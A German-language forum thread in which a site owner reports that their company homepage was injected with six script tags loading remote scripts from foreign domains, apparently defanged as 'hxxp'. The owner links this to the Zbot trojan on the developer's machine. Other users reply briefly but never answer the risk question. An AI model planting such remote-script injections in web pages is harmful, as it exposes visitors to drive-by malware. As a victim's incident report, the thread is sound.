Eigene Website sendet Daten an andere Url`s
 

Hi Leute,

wir haben uns von einem Webentwickler eine Firmenhomepage gestalten lassen, die noch nicht produktiv im Einsatz ist. Seit ein paar Tagen fällt mir auf, dass während man die Startseite betritt, Daten an weitere Url`s gesendet werden.
Der Aufbau dauert etwas länger als bei allen anderen Seiten und in der Statusleiste unten links steht immer "Warten auf..." und dann die fremden Url`s.
Habe daraufhin mir selbst mir die Index.html angesehen und folgende script includierungen gefunden:

<script type="text/javascript" src="hxxp://kityn.kiev.ua/js.php"></script>
<script type="text/javascript" src="hxxp://testzone.saturn.tj/js.php"></script>
<script type="text/javascript" src="hxxp://harikatatil.com/search.php"></script>
<script type="text/javascript" src="hxxp://steelborder.com/swfobject.js"></script>
<script type="text/javascript" src="hxxp://optimistbenin.com/search.php"></script>
<script type="text/javascript" src="hxxp://sieuthitructuyen.com.vn/swfobject.js">

Ich habe anschließend sofort den Entwickler verständigt und habe gerade Info bekommen, dass er den Trojaner Win32:Zbot-NAL im System hatte.

Und nun meine Fragen.
1. Hängt das eine mit dem anderem zusammen und
2. bestand hier eine Gefahr für alle PC´s die diese Seite besuchten?

Ich hoffe Ihr könnt mir schnell helfen, denn hier gehts um Firmen PC´s die diese Seite besucht hatten.


Schonmal herzlichen Dank & Gruß

Vollpfosten

Dann frag mal den Webentwickler wie er Absicherungen gestaltet hat, welches CMS dahinter steckt etc.
Wenn er die Seite pflegt sollte die Sicherheit auch seine Aufgabe sein - oder wurde was anderes vereinbart (Pflichtenheft etc.)?

Hi Arne,

die weitere Pflege will ich selbst übernehmen.
CMS wird nicht verwendet.

Der Entwickler meinte ich solle erstmal nur das Passwort des FTP-Zugangs ändern. Was ich natürlich sofort gemacht habe.

Der Entwickler weiß selbst noch nicht was diese Javascript Dateien angerichtet haben.


Gruß

Vollpfosten

Ich werd mir die Links nachher mal genau ansehen...

Kann mir denn niemand weiter helfen?

Hat sich in der Zwischenzeit was neues ergeben?